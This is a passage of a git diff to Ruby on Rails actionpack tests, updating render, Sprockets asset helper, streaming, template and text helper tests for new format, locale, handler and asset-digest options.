post.persisted = true } + post_2 = Post.new.tap { |post| post.id = 102; post.body = "World!"; post.persisted = true } + expected = %(<li class="post" id="post_101">Hello!</li>\n<li class="post" id="post_102">World!</li>) + actual = content_tag_for(:li, [post_1, post_2]) { |post| concat post.body } + assert_dom_equal expected, actual + end + + def test_div_for_collection + post_1 = Post.new.tap { |post| post.id = 101; post.body = "Hello!"; post.persisted = true } + post_2 = Post.new.tap { |post| post.id = 102; post.body = "World!"; post.persisted = true } + expected = %(<div class="post" id="post_101">Hello!</div>\n<div class="post" id="post_102">World!</div>) + actual = div_for([post_1, post_2]) { |post| concat post.body } + assert_dom_equal expected, actual + end + + def test_content_tag_for_single_record_is_html_safe + result = div_for(@post, :class => "bar") { concat @post.body } + assert result.html_safe? + end + + def test_content_tag_for_collection_is_html_safe + post_1 = Post.new.tap { |post| post.id = 101; post.body = "Hello!"; post.persisted = true } + post_2 = Post.new.tap { |post| post.id = 102; post.body = "World!"; post.persisted = true } + result = content_tag_for(:li, [post_1, post_2]) { |post| concat post.body } + assert result.html_safe? + end end diff --git a/actionpack/test/template/render_test.rb b/actionpack/test/template/render_test.rb index 86d08a43a5..77659918f7 100644 --- a/actionpack/test/template/render_test.rb +++ b/actionpack/test/template/render_test.rb @@ -21,18 +21,48 @@ module RenderTestCases end def test_render_file - assert_equal "Hello world!", @view.render(:file => "test/hello_world.erb") + assert_equal "Hello world!", @view.render(:file => "test/hello_world") end def test_render_file_not_using_full_path - assert_equal "Hello world!", @view.render(:file => "test/hello_world.erb") + assert_equal "Hello world!", @view.render(:file => "test/hello_world") end def test_render_file_without_specific_extension assert_equal "Hello world!", @view.render(:file => "test/hello_world") end - def test_render_file_with_localization + # Test if :formats, :locale etc. options are passed correctly to the resolvers. + def test_render_file_with_format + assert_match "<h1>No Comment</h1>", @view.render(:file => "comments/empty", :formats => [:html]) + assert_match "<error>No Comment</error>", @view.render(:file => "comments/empty", :formats => [:xml]) + assert_match "<error>No Comment</error>", @view.render(:file => "comments/empty", :formats => :xml) + end + + def test_render_template_with_format + assert_match "<h1>No Comment</h1>", @view.render(:template => "comments/empty", :formats => [:html]) + assert_match "<error>No Comment</error>", @view.render(:template => "comments/empty", :formats => [:xml]) + end + + def test_render_file_with_locale + assert_equal "<h1>Kein Kommentar</h1>", @view.render(:file => "comments/empty", :locale => [:de]) + assert_equal "<h1>Kein Kommentar</h1>", @view.render(:file => "comments/empty", :locale => :de) + end + + def test_render_template_with_locale + assert_equal "<h1>Kein Kommentar</h1>", @view.render(:template => "comments/empty", :locale => [:de]) + end + + def test_render_file_with_handlers + assert_equal "<h1>No Comment</h1>\n", @view.render(:file => "comments/empty", :handlers => [:builder]) + assert_equal "<h1>No Comment</h1>\n", @view.render(:file => "comments/empty", :handlers => :builder) + end + + def test_render_template_with_handlers + assert_equal "<h1>No Comment</h1>\n", @view.render(:template => "comments/empty", :handlers => [:builder]) + end + + def test_render_file_with_localization_on_context_level old_locale, @view.locale = @view.locale, :da assert_equal "Hey verden", @view.render(:file => "test/hello_world") ensure @@ -51,17 +81,17 @@ module RenderTestCases end def test_render_file_with_full_path - template_path = File.join(File.dirname(__FILE__), '../fixtures/test/hello_world.erb') + template_path = File.join(File.dirname(__FILE__), '../fixtures/test/hello_world') assert_equal "Hello world!", @view.render(:file => template_path) end def test_render_file_with_instance_variables - assert_equal "The secret is in the sauce\n", @view.render(:file => "test/render_file_with_ivar.erb") + assert_equal "The secret is in the sauce\n", @view.render(:file => "test/render_file_with_ivar") end def test_render_file_with_locals locals = { :secret => 'in the sauce' } - assert_equal "The secret is in the sauce\n", @view.render(:file => "test/render_file_with_locals.erb", :locals => locals) + assert_equal "The secret is in the sauce\n", @view.render(:file => "test/render_file_with_locals", :locals => locals) end def test_render_file_not_using_full_path_with_dot_in_path @@ -80,13 +110,18 @@ module RenderTestCases assert_equal 'partial html', @view.render(:partial => 'test/partial') end + def test_render_partial_with_selected_format + assert_equal 'partial html', @view.render(:partial => 'test/partial', :formats => :html) + assert_equal 'partial js', @view.render(:partial => 'test/partial', :formats => [:js]) + end + def test_render_partial_at_top_level - # file fixtures/_top_level_partial_only.erb (not fixtures/test) + # file fixtures/_top_level_partial_only (not fixtures/test) assert_equal 'top level partial', @view.render(:partial => '/top_level_partial_only') end def test_render_partial_with_format_at_top_level - # file fixtures/_top_level_partial.html.erb (not fixtures/test, with format extension) + # file fixtures/_top_level_partial.html (not fixtures/test, with format extension) assert_equal 'top level partial html', @view.render(:partial => '/top_level_partial') end @@ -98,6 +133,15 @@ module RenderTestCases assert_equal "only partial", @view.render("test/partial_only", :counter_counter => 5) end + def test_render_partial_with_invalid_name + @view.render(:partial => "test/200") + flunk "Render did not raise ArgumentError" + rescue ArgumentError => e + assert_equal "The partial name (test/200) is not a valid Ruby identifier; " + + "make sure your partial name starts with a letter or underscore, " + + "and is followed by any combinations of letters, numbers, or underscores.", e.message + end + def test_render_partial_with_errors @view.render(:partial => "test/raise") flunk "Render did not raise Template::Error" @@ -192,6 +236,36 @@ module RenderTestCases @controller_view.render(customers, :greeting => "Hello") end + class CustomerWithDeprecatedPartialPath + attr_reader :name + + def self.model_name + Struct.new(:partial_path).new("customers/customer") + end + + def initialize(name) + @name = name + end + end + + def test_render_partial_using_object_with_deprecated_partial_path + assert_deprecated(/#model_name.*#partial_path.*#to_partial_path/) do + assert_equal "Hello: nertzy", + @controller_view.render(CustomerWithDeprecatedPartialPath.new("nertzy"), :greeting => "Hello") + end + end + + def test_render_partial_using_collection_with_deprecated_partial_path + assert_deprecated(/#model_name.*#partial_path.*#to_partial_path/) do + customers = [ + CustomerWithDeprecatedPartialPath.new("nertzy"), + CustomerWithDeprecatedPartialPath.new("peeja") + ] + assert_equal "Hello: nertzyHello: peeja", + @controller_view.render(customers, :greeting => "Hello") + end + end + # TODO: The reason for this test is unclear, improve documentation def test_render_partial_and_fallback_to_layout assert_equal "Before (Josh)\n\nAfter", @view.render(:partial => "test/layout_for_partial", :locals => { :name => "Josh" }) @@ -206,7 +280,7 @@ module RenderTestCases end def test_render_layout_with_block_and_other_partial_inside - render = @view.render(:layout => "test/layout_with_partial_and_yield.html.erb") { "Yield!" } + render = @view.render(:layout => "test/layout_with_partial_and_yield") { "Yield!" } assert_equal "Before\npartial html\nYield!\nAfter\n", render end @@ -243,24 +317,26 @@ module RenderTestCases end def test_render_ignores_templates_with_malformed_template_handlers - %w(malformed malformed.erb malformed.html.erb malformed.en.html.erb).each do |name| - assert_raise(ActionView::MissingTemplate) { @view.render(:file => "test/malformed/#{name}") } + ActiveSupport::Deprecation.silence do + %w(malformed malformed.erb malformed.html.erb malformed.en.html.erb).each do |name| + assert_raise(ActionView::MissingTemplate) { @view.render(:file => "test/malformed/#{name}") } + end end end def test_render_with_layout assert_equal %(<title></title>\nHello world!\n), - @view.render(:file => "test/hello_world.erb", :layout => "layouts/yield") + @view.render(:file => "test/hello_world", :layout => "layouts/yield") end def test_render_with_layout_which_has_render_inline assert_equal %(welcome\nHello world!\n), - @view.render(:file => "test/hello_world.erb", :layout => "layouts/yield_with_render_inline_inside") + @view.render(:file => "test/hello_world", :layout => "layouts/yield_with_render_inline_inside") end def test_render_with_layout_which_renders_another_partial assert_equal %(partial html\nHello world!\n), - @view.render(:file => "test/hello_world.erb", :layout => "layouts/yield_with_render_partial_inside") + @view.render(:file => "test/hello_world", :layout => "layouts/yield_with_render_partial_inside") end def test_render_layout_with_block_and_yield @@ -305,17 +381,17 @@ module RenderTestCases def test_render_with_nested_layout assert_equal %(<title>title</title>\n\n<div id="column">column</div>\n<div id="content">content</div>\n), - @view.render(:file => "test/nested_layout.erb", :layout => "layouts/yield") + @view.render(:file => "test/nested_layout", :layout => "layouts/yield") end def test_render_with_file_in_layout assert_equal %(\n<title>title</title>\n\n), - @view.render(:file => "test/layout_render_file.erb") + @view.render(:file => "test/layout_render_file") end def test_render_layout_with_object assert_equal %(<title>David</title>), - @view.render(:file => "test/layout_render_object.erb") + @view.render(:file => "test/layout_render_object") end end @@ -341,7 +417,7 @@ class LazyViewRenderTest < ActiveSupport::TestCase # is not eager loaded def setup path = ActionView::FileSystemResolver.new(FIXTURE_LOAD_PATH) - view_paths = ActionView::Base.process_view_paths(path) + view_paths = ActionView::PathSet.new([path]) assert_equal ActionView::FileSystemResolver.new(FIXTURE_LOAD_PATH), view_paths.first setup_view(view_paths) end @@ -353,7 +429,7 @@ class LazyViewRenderTest < ActiveSupport::TestCase if '1.9'.respond_to?(:force_encoding) def test_render_utf8_template_with_magic_comment with_external_encoding Encoding::ASCII_8BIT do - result = @view.render(:file => "test/utf8_magic.html.erb", :layouts => "layouts/yield") + result = @view.render(:file => "test/utf8_magic", :formats => [:html], :layouts => "layouts/yield") assert_equal Encoding::UTF_8, result.encoding assert_equal "\nРусский \nтекст\n\nUTF-8\nUTF-8\nUTF-8\n", result end @@ -361,7 +437,7 @@ class LazyViewRenderTest < ActiveSupport::TestCase def test_render_utf8_template_with_default_external_encoding with_external_encoding Encoding::UTF_8 do - result = @view.render(:file => "test/utf8.html.erb", :layouts => "layouts/yield") + result = @view.render(:file => "test/utf8", :formats => [:html], :layouts => "layouts/yield") assert_equal Encoding::UTF_8, result.encoding assert_equal "Русский текст\n\nUTF-8\nUTF-8\nUTF-8\n", result end @@ -370,7 +446,7 @@ class LazyViewRenderTest < ActiveSupport::TestCase def test_render_utf8_template_with_incompatible_external_encoding with_external_encoding Encoding::SHIFT_JIS do begin - result = @view.render(:file => "test/utf8.html.erb", :layouts => "layouts/yield") + @view.render(:file => "test/utf8", :formats => [:html], :layouts => "layouts/yield") flunk 'Should have raised incompatible encoding error' rescue ActionView::Template::Error => error assert_match 'Your template was not saved as valid Shift_JIS', error.original_exception.message @@ -381,7 +457,7 @@ class LazyViewRenderTest < ActiveSupport::TestCase def test_render_utf8_template_with_partial_with_incompatible_encoding with_external_encoding Encoding::SHIFT_JIS do begin - result = @view.render(:file => "test/utf8_magic_with_bare_partial.html.erb", :layouts => "layouts/yield") + @view.render(:file => "test/utf8_magic_with_bare_partial", :formats => [:html], :layouts => "layouts/yield") flunk 'Should have raised incompatible encoding error' rescue ActionView::Template::Error => error assert_match 'Your template was not saved as valid Shift_JIS', error.original_exception.message diff --git a/actionpack/test/template/sprockets_helper_test.rb b/actionpack/test/template/sprockets_helper_test.rb index 8d3be09a4f..db69f95130 100644 --- a/actionpack/test/template/sprockets_helper_test.rb +++ b/actionpack/test/template/sprockets_helper_test.rb @@ -1,48 +1,66 @@ require 'abstract_unit' require 'sprockets' +require 'sprockets/helpers/rails_helper' require 'mocha' -module Rails; end - class SprocketsHelperTest < ActionView::TestCase - tests ActionView::Helpers::SprocketsHelper + include Sprockets::Helpers::RailsHelper attr_accessor :assets + class MockRequest + def protocol() 'http://' end + def ssl?() false end + def host_with_port() 'localhost' end + end + def setup super - @controller = BasicController.new - - @request = Class.new do - def protocol() 'http://' end - def ssl?() false end - def host_with_port() 'localhost' end - end.new - - @controller.request = @request + @controller = BasicController.new + @controller.request = MockRequest.new @assets = Sprockets::Environment.new - @assets.paths << FIXTURES.join("sprockets/app/javascripts") - @assets.paths << FIXTURES.join("sprockets/app/stylesheets") - @assets.paths << FIXTURES.join("sprockets/app/images") + @assets.append_path(FIXTURES.join("sprockets/app/javascripts")) + @assets.append_path(FIXTURES.join("sprockets/app/stylesheets")) + @assets.append_path(FIXTURES.join("sprockets/app/images")) - application = Object.new + application = Struct.new(:config, :assets).new(config, @assets) Rails.stubs(:application).returns(application) - application.stubs(:config).returns(config) - application.stubs(:assets).returns(@assets) - - config.perform_caching = true + @config = config + @config.perform_caching = true + @config.assets.digest = true + @config.assets.compile = true end def url_for(*args) "http://www.example.com" end - test "asset path" do - assert_equal "/assets/logo-9c0a079bdd7701d7e729bd956823d153.png", + def config + @controller ? @controller.config : @config + end + + test "asset_path" do + assert_match %r{/assets/logo-[0-9a-f]+.png}, + asset_path("logo.png") + assert_match %r{/assets/logo-[0-9a-f]+.png}, + asset_path("logo.png", :digest => true) + assert_match %r{/assets/logo.png}, + asset_path("logo.png", :digest => false) + end + + test "custom_asset_path" do + @config.assets.prefix = '/s' + assert_match %r{/s/logo-[0-9a-f]+.png}, asset_path("logo.png") + assert_match %r{/s/logo-[0-9a-f]+.png}, + asset_path("logo.png", :digest => true) + assert_match %r{/s/logo.png}, + asset_path("logo.png", :digest => false) + end + test "asset_path with root relative assets" do assert_equal "/images/logo", asset_path("/images/logo") assert_equal "/images/logo.gif", @@ -50,70 +68,244 @@ class SprocketsHelperTest < ActionView::TestCase assert_equal "/dir/audio", asset_path("/dir/audio") + end + test "asset_path with absolute urls" do assert_equal "http://www.example.com/video/play", asset_path("http://www.example.com/video/play") assert_equal "http://www.example.com/video/play.mp4", asset_path("http://www.example.com/video/play.mp4") end - test "javascript path" do - assert_equal "/assets/application-d41d8cd98f00b204e9800998ecf8427e.js", - asset_path(:application, "js") + test "with a simple asset host the url should default to protocol relative" do + @controller.config.default_asset_host_protocol = :relative + @controller.config.asset_host = "assets-%d.example.com" + assert_match %r{^//assets-\d.example.com/assets/logo-[0-9a-f]+.png}, + asset_path("logo.png") + end + + test "with a simple asset host the url can be changed to use the request protocol" do + @controller.config.asset_host = "assets-%d.example.com" + @controller.config.default_asset_host_protocol = :request + assert_match %r{http://assets-\d.example.com/assets/logo-[0-9a-f]+.png}, + asset_path("logo.png") + end + + test "With a proc asset host that returns no protocol the url should be protocol relative" do + @controller.config.default_asset_host_protocol = :relative + @controller.config.asset_host = Proc.new do |asset| + "assets-999.example.com" + end + assert_match %r{^//assets-999.example.com/assets/logo-[0-9a-f]+.png}, + asset_path("logo.png") + end + + test "with a proc asset host that returns a protocol the url use it" do + @controller.config.asset_host = Proc.new do |asset| + "http://assets-999.example.com" + end + assert_match %r{http://assets-999.example.com/assets/logo-[0-9a-f]+.png}, + asset_path("logo.png") + end + + test "stylesheets served with a controller in scope can access the request" do + config.asset_host = Proc.new do |asset, request| + assert_not_nil request + "http://assets-666.example.com" + end + assert_match %r{http://assets-666.example.com/assets/logo-[0-9a-f]+.png}, + asset_path("logo.png") + end + + test "stylesheets served without a controller in scope cannot access the request" do + @controller = nil + @config.asset_host = Proc.new do |asset, request| + fail "This should not have been called." + end + assert_raises ActionController::RoutingError do + asset_path("logo.png") + end + end + + test "image_tag" do + assert_dom_equal '<img alt="Xml" src="/assets/xml.png" />', image_tag("xml.png") + end + + test "image_path" do + assert_match %r{/assets/logo-[0-9a-f]+.png}, + image_path("logo.png") + + assert_match %r{/assets/logo-[0-9a-f]+.png}, + path_to_image("logo.png") + end + + test "javascript_path" do + assert_match %r{/assets/application-[0-9a-f]+.js}, + javascript_path("application.js") + + assert_match %r{/assets/application-[0-9a-f]+.js}, + path_to_javascript("application.js") + end + + test "stylesheet_path" do + assert_match %r{/assets/application-[0-9a-f]+.css}, + stylesheet_path("application.css") + + assert_match %r{/assets/application-[0-9a-f]+.css}, + path_to_stylesheet("application.css") + end + + test "stylesheets served without a controller in do not use asset hosts when the default protocol is :request" do + @controller = nil + @config.asset_host = "assets-%d.example.com" + @config.default_asset_host_protocol = :request + @config.perform_caching = true + + assert_match %r{/assets/logo-[0-9a-f]+.png}, + asset_path("logo.png") + end + + test "asset path with relative url root" do + @controller.config.relative_url_root = "/collaboration/hieraki" + assert_equal "/collaboration/hieraki/images/logo.gif", + asset_path("/images/logo.gif") + end + + test "asset path with relative url root when controller isn't present but relative_url_root is" do + @controller = nil + @config.relative_url_root = "/collaboration/hieraki" + assert_equal "/collaboration/hieraki/images/logo.gif", + asset_path("/images/logo.gif") + end - assert_equal "/assets/xmlhr-d41d8cd98f00b204e9800998ecf8427e.js", - asset_path("xmlhr", "js") - assert_equal "/assets/dir/xmlhr-d41d8cd98f00b204e9800998ecf8427e.js", - asset_path("dir/xmlhr.js", "js") + test "javascript path through asset_path" do + assert_match %r{/assets/application-[0-9a-f]+.js}, + asset_path(:application, :ext => "js") + + assert_match %r{/assets/xmlhr-[0-9a-f]+.js}, + asset_path("xmlhr", :ext => "js") + assert_match %r{/assets/dir/xmlhr-[0-9a-f]+.js}, + asset_path("dir/xmlhr.js", :ext => "js") assert_equal "/dir/xmlhr.js", - asset_path("/dir/xmlhr", "js") + asset_path("/dir/xmlhr", :ext => "js") assert_equal "http://www.example.com/js/xmlhr", - asset_path("http://www.example.com/js/xmlhr", "js") + asset_path("http://www.example.com/js/xmlhr", :ext => "js") assert_equal "http://www.example.com/js/xmlhr.js", - asset_path("http://www.example.com/js/xmlhr.js", "js") + asset_path("http://www.example.com/js/xmlhr.js", :ext => "js") end test "javascript include tag" do - assert_equal '<script src="/assets/application-d41d8cd98f00b204e9800998ecf8427e.js" type="text/javascript"></script>', - sprockets_javascript_include_tag(:application) + assert_match %r{<script src="/assets/application-[0-9a-f]+.js" type="text/javascript"></script>}, + javascript_include_tag(:application) + assert_match %r{<script src="/assets/application-[0-9a-f]+.js" type="text/javascript"></script>}, + javascript_include_tag(:application, :digest => true) + assert_match %r{<script src="/assets/application.js" type="text/javascript"></script>}, + javascript_include_tag(:application, :digest => false) - assert_equal '<script src="/assets/xmlhr-d41d8cd98f00b204e9800998ecf8427e.js" type="text/javascript"></script>', - sprockets_javascript_include_tag("xmlhr") - assert_equal '<script src="/assets/xmlhr-d41d8cd98f00b204e9800998ecf8427e.js" type="text/javascript"></script>', - sprockets_javascript_include_tag("xmlhr.js") + assert_match %r{<script src="/assets/xmlhr-[0-9a-f]+.js" type="text/javascript"></script>}, + javascript_include_tag("xmlhr") + assert_match %r{<script src="/assets/xmlhr-[0-9a-f]+.js" type="text/javascript"></script>}, + javascript_include_tag("xmlhr.js") assert_equal '<script src="http://www.example.com/xmlhr" type="text/javascript"></script>', - sprockets_javascript_include_tag("http://www.example.com/xmlhr") + javascript_include_tag("http://www.example.com/xmlhr") + + assert_match %r{<script src=\"/assets/xmlhr-[0-9a-f]+.js" type=\"text/javascript\"></script>\n<script src=\"/assets/extra-[0-9a-f]+.js" type=\"text/javascript\"></script>}, + javascript_include_tag("xmlhr", "extra") + + assert_match %r{<script src="/assets/xmlhr-[0-9a-f]+.js\?body=1" type="text/javascript"></script>\n<script src="/assets/application-[0-9a-f]+.js\?body=1" type="text/javascript"></script>}, + javascript_include_tag(:application, :debug => true) + + @config.assets.compile = true + @config.assets.debug = true + assert_match %r{<script src="/javascripts/application.js" type="text/javascript"></script>}, + javascript_include_tag('/javascripts/application') + assert_match %r{<script src="/assets/xmlhr-[0-9a-f]+.js\?body=1" type="text/javascript"></script>\n<script src="/assets/application-[0-9a-f]+.js\?body=1" type="text/javascript"></script>}, + javascript_include_tag(:application) end - test "stylesheet path" do - assert_equal "/assets/application-d41d8cd98f00b204e9800998ecf8427e.css", asset_path(:application, "css") + test "stylesheet path through asset_path" do + assert_match %r{/assets/application-[0-9a-f]+.css}, asset_path(:application, :ext => "css") - assert_equal "/assets/style-d41d8cd98f00b204e9800998ecf8427e.css", asset_path("style", "css") - assert_equal "/assets/dir/style-d41d8cd98f00b204e9800998ecf8427e.css", asset_path("dir/style.css", "css") - assert_equal "/dir/style.css", asset_path("/dir/style.css", "css") + assert_match %r{/assets/style-[0-9a-f]+.css}, asset_path("style", :ext => "css") + assert_match %r{/assets/dir/style-[0-9a-f]+.css}, asset_path("dir/style.css", :ext => "css") + assert_equal "/dir/style.css", asset_path("/dir/style.css", :ext => "css") assert_equal "http://www.example.com/css/style", - asset_path("http://www.example.com/css/style", "css") + asset_path("http://www.example.com/css/style", :ext => "css") assert_equal "http://www.example.com/css/style.css", - asset_path("http://www.example.com/css/style.css", "css") + asset_path("http://www.example.com/css/style.css", :ext => "css") end test "stylesheet link tag" do - assert_equal '<link href="/assets/application-d41d8cd98f00b204e9800998ecf8427e.css" media="screen" rel="stylesheet" type="text/css" />', - sprockets_stylesheet_link_tag(:application) + assert_match %r{<link href="/assets/application-[0-9a-f]+.css" media="screen" rel="stylesheet" type="text/css" />}, + stylesheet_link_tag(:application) + assert_match %r{<link href="/assets/application-[0-9a-f]+.css" media="screen" rel="stylesheet" type="text/css" />}, + stylesheet_link_tag(:application, :digest => true) + assert_match %r{<link href="/assets/application.css" media="screen" rel="stylesheet" type="text/css" />}, + stylesheet_link_tag(:application, :digest => false) - assert_equal '<link href="/assets/style-d41d8cd98f00b204e9800998ecf8427e.css" media="screen" rel="stylesheet" type="text/css" />', - sprockets_stylesheet_link_tag("style") - assert_equal '<link href="/assets/style-d41d8cd98f00b204e9800998ecf8427e.css" media="screen" rel="stylesheet" type="text/css" />', - sprockets_stylesheet_link_tag("style.css") + assert_match %r{<link href="/assets/style-[0-9a-f]+.css" media="screen" rel="stylesheet" type="text/css" />}, + stylesheet_link_tag("style") + assert_match %r{<link href="/assets/style-[0-9a-f]+.css" media="screen" rel="stylesheet" type="text/css" />}, + stylesheet_link_tag("style.css") assert_equal '<link href="http://www.example.com/style.css" media="screen" rel="stylesheet" type="text/css" />', - sprockets_stylesheet_link_tag("http://www.example.com/style.css") - assert_equal '<link href="/assets/style-d41d8cd98f00b204e9800998ecf8427e.css" media="all" rel="stylesheet" type="text/css" />', - sprockets_stylesheet_link_tag("style", :media => "all") - assert_equal '<link href="/assets/style-d41d8cd98f00b204e9800998ecf8427e.css" media="print" rel="stylesheet" type="text/css" />', - sprockets_stylesheet_link_tag("style", :media => "print") + stylesheet_link_tag("http://www.example.com/style.css") + assert_match %r{<link href="/assets/style-[0-9a-f]+.css" media="all" rel="stylesheet" type="text/css" />}, + stylesheet_link_tag("style", :media => "all") + assert_match %r{<link href="/assets/style-[0-9a-f]+.css" media="print" rel="stylesheet" type="text/css" />}, + stylesheet_link_tag("style", :media => "print") + + assert_match %r{<link href="/assets/style-[0-9a-f]+.css" media="screen" rel="stylesheet" type="text/css" />\n<link href="/assets/extra-[0-9a-f]+.css" media="screen" rel="stylesheet" type="text/css" />}, + stylesheet_link_tag("style", "extra") + + assert_match %r{<link href="/assets/style-[0-9a-f]+.css\?body=1" media="screen" rel="stylesheet" type="text/css" />\n<link href="/assets/application-[0-9a-f]+.css\?body=1" media="screen" rel="stylesheet" type="text/css" />}, + stylesheet_link_tag(:application, :debug => true) + + @config.assets.compile = true + @config.assets.debug = true + assert_match %r{<link href="/stylesheets/application.css" media="screen" rel="stylesheet" type="text/css" />}, + stylesheet_link_tag('/stylesheets/application') + + assert_match %r{<link href="/assets/style-[0-9a-f]+.css\?body=1" media="screen" rel="stylesheet" type="text/css" />\n<link href="/assets/application-[0-9a-f]+.css\?body=1" media="screen" rel="stylesheet" type="text/css" />}, + stylesheet_link_tag(:application) + + assert_match %r{<link href="/assets/style-[0-9a-f]+.css\?body=1" media="print" rel="stylesheet" type="text/css" />\n<link href="/assets/application-[0-9a-f]+.css\?body=1" media="print" rel="stylesheet" type="text/css" />}, + stylesheet_link_tag(:application, :media => "print") + end + + test "alternate asset prefix" do + stubs(:asset_prefix).returns("/themes/test") + assert_match %r{/themes/test/style-[0-9a-f]+.css}, asset_path("style", :ext => "css") + end + + test "alternate asset environment" do + assets = Sprockets::Environment.new + assets.append_path(FIXTURES.join("sprockets/alternate/stylesheets")) + stubs(:asset_environment).returns(assets) + assert_match %r{/assets/style-[0-9a-f]+.css}, asset_path("style", :ext => "css") + end + + test "alternate hash based on environment" do + assets = Sprockets::Environment.new + assets.version = 'development' + assets.append_path(FIXTURES.join("sprockets/alternate/stylesheets")) + stubs(:asset_environment).returns(assets) + dev_path = asset_path("style", :ext => "css") + + assets.version = 'production' + prod_path = asset_path("style", :ext => "css") + + assert_not_equal prod_path, dev_path + end + + test "precedence of `config.digest = false` over manifest.yml asset digests" do + Rails.application.config.assets.digests = {'logo.png' => 'logo-d1g3st.png'} + @config.assets.digest = false + + assert_equal '/assets/logo.png', + asset_path("logo.png") end end diff --git a/actionpack/test/template/streaming_render_test.rb b/actionpack/test/template/streaming_render_test.rb index b2df8efee3..4d01352b43 100644 --- a/actionpack/test/template/streaming_render_test.rb +++ b/actionpack/test/template/streaming_render_test.rb @@ -8,7 +8,7 @@ end class FiberedTest < ActiveSupport::TestCase def setup view_paths = ActionController::Base.view_paths - @assigns = { :secret => 'in the sauce' } + @assigns = { :secret => 'in the sauce', :name => nil } @view = ActionView::Base.new(view_paths, @assigns) @controller_view = TestController.new.view_context end @@ -28,7 +28,7 @@ class FiberedTest < ActiveSupport::TestCase def test_streaming_works content = [] - body = render_body(:template => "test/hello_world.erb", :layout => "layouts/yield") + body = render_body(:template => "test/hello_world", :layout => "layouts/yield") body.each do |piece| content << piece @@ -42,12 +42,12 @@ class FiberedTest < ActiveSupport::TestCase end def test_render_file - assert_equal "Hello world!", buffered_render(:file => "test/hello_world.erb") + assert_equal "Hello world!", buffered_render(:file => "test/hello_world") end def test_render_file_with_locals locals = { :secret => 'in the sauce' } - assert_equal "The secret is in the sauce\n", buffered_render(:file => "test/render_file_with_locals.erb", :locals => locals) + assert_equal "The secret is in the sauce\n", buffered_render(:file => "test/render_file_with_locals", :locals => locals) end def test_render_partial @@ -64,27 +64,27 @@ class FiberedTest < ActiveSupport::TestCase def test_render_with_layout assert_equal %(<title></title>\nHello world!\n), - buffered_render(:template => "test/hello_world.erb", :layout => "layouts/yield") + buffered_render(:template => "test/hello_world", :layout => "layouts/yield") end def test_render_with_layout_which_has_render_inline assert_equal %(welcome\nHello world!\n), - buffered_render(:template => "test/hello_world.erb", :layout => "layouts/yield_with_render_inline_inside") + buffered_render(:template => "test/hello_world", :layout => "layouts/yield_with_render_inline_inside") end def test_render_with_layout_which_renders_another_partial assert_equal %(partial html\nHello world!\n), - buffered_render(:template => "test/hello_world.erb", :layout => "layouts/yield_with_render_partial_inside") + buffered_render(:template => "test/hello_world", :layout => "layouts/yield_with_render_partial_inside") end def test_render_with_nested_layout assert_equal %(<title>title</title>\n\n<div id="column">column</div>\n<div id="content">content</div>\n), - buffered_render(:template => "test/nested_layout.erb", :layout => "layouts/yield") + buffered_render(:template => "test/nested_layout", :layout => "layouts/yield") end def test_render_with_file_in_layout assert_equal %(\n<title>title</title>\n\n), - buffered_render(:template => "test/layout_render_file.erb") + buffered_render(:template => "test/layout_render_file") end def test_render_with_handler_without_streaming_support @@ -106,4 +106,4 @@ class FiberedTest < ActiveSupport::TestCase buffered_render(:template => "test/nested_streaming", :layout => "layouts/streaming") end -end if defined?(Fiber)
\ No newline at end of file +end if defined?(Fiber) diff --git a/actionpack/test/template/template_test.rb b/actionpack/test/template/template_test.rb index 81fb34b80f..70ca876c67 100644 --- a/actionpack/test/template/template_test.rb +++ b/actionpack/test/template/template_test.rb @@ -8,6 +8,9 @@ class TestERBTemplate < ActiveSupport::TestCase def disable_cache yield end + + def find_template(*args) + end end class Context @@ -153,7 +156,6 @@ class TestERBTemplate < ActiveSupport::TestCase def test_encoding_can_be_specified_with_magic_comment_in_erb with_external_encoding Encoding::UTF_8 do @template = new_template("<%# encoding: ISO-8859-1 %>hello \xFCmlat", :virtual_path => nil) - result = render assert_equal Encoding::UTF_8, render.encoding assert_equal "hello \u{fc}mlat", render end diff --git a/actionpack/test/template/test_case_test.rb b/actionpack/test/template/test_case_test.rb index cd4618a505..a75f1bc981 100644 --- a/actionpack/test/template/test_case_test.rb +++ b/actionpack/test/template/test_case_test.rb @@ -45,6 +45,10 @@ module ActionView assert_same _view, view end + test "retrieve non existing config values" do + assert_equal nil, ActionView::Base.new.config.something_odd + end + test "works without testing a helper module" do assert_equal 'Eloy', render('developers/developer', :developer => stub(:name => 'Eloy')) end @@ -141,22 +145,6 @@ module ActionView end end - class AssignsTest < ActionView::TestCase - setup do - ActiveSupport::Deprecation.stubs(:warn) - end - - test "_assigns delegates to user_defined_ivars" do - self.expects(:view_assigns) - _assigns - end - - test "_assigns is deprecated" do - ActiveSupport::Deprecation.expects(:warn) - _assigns - end - end - class ViewAssignsTest < ActionView::TestCase test "view_assigns returns a Hash of user defined ivars" do @a = 'b' diff --git a/actionpack/test/template/test_test.rb b/actionpack/test/template/test_test.rb index 3d0bbba435..adcbf1447f 100644 --- a/actionpack/test/template/test_test.rb +++ b/actionpack/test/template/test_test.rb @@ -39,7 +39,7 @@ class PeopleHelperTest < ActionView::TestCase with_test_route_set do person = mock(:name => "David") person.class.extend ActiveModel::Naming - _routes.url_helpers.expects(:hash_for_mocha_mock_path).with(person).returns("/people/1") + expects(:mocha_mock_path).with(person).returns("/people/1") assert_equal '<a href="/people/1">David</a>', link_to_person(person) end end @@ -62,3 +62,19 @@ class CrazyHelperTest < ActionView::TestCase assert_equal PeopleHelper, self.class.helper_class end end + +class CrazySymbolHelperTest < ActionView::TestCase + tests :people + + def test_set_helper_class_using_symbol + assert_equal PeopleHelper, self.class.helper_class + end +end + +class CrazyStringHelperTest < ActionView::TestCase + tests 'people' + + def test_set_helper_class_using_string + assert_equal PeopleHelper, self.class.helper_class + end +end diff --git a/actionpack/test/template/text_helper_test.rb b/actionpack/test/template/text_helper_test.rb index 740f577a6e..02f9609483 100644 --- a/actionpack/test/template/text_helper_test.rb +++ b/actionpack/test/template/text_helper_test.rb @@ -36,8 +36,8 @@ class TextHelperTest < ActionView::TestCase text = "A\r\n \nB\n\n\r\n\t\nC\nD".freeze assert_equal "<p>A\n<br /> \n<br />B</p>\n\n<p>\t\n<br />C\n<br />D</p>", simple_format(text) - assert_equal %q(<p class="test">This is a classy test</p>), simple_format("This is a classy test", :class => 'test') - assert_equal %Q(<p class="test">para 1</p>\n\n<p class="test">para 2</p>), simple_format("para 1\n\npara 2", :class => 'test') + assert_equal %q(<p class="test">This is a classy test</p>), simple_format("This is a classy test", :class => 'test') + assert_equal %Q(<p class="test">para 1</p>\n\n<p class="test">para 2</p>), simple_format("para 1\n\npara 2", :class => 'test') end def 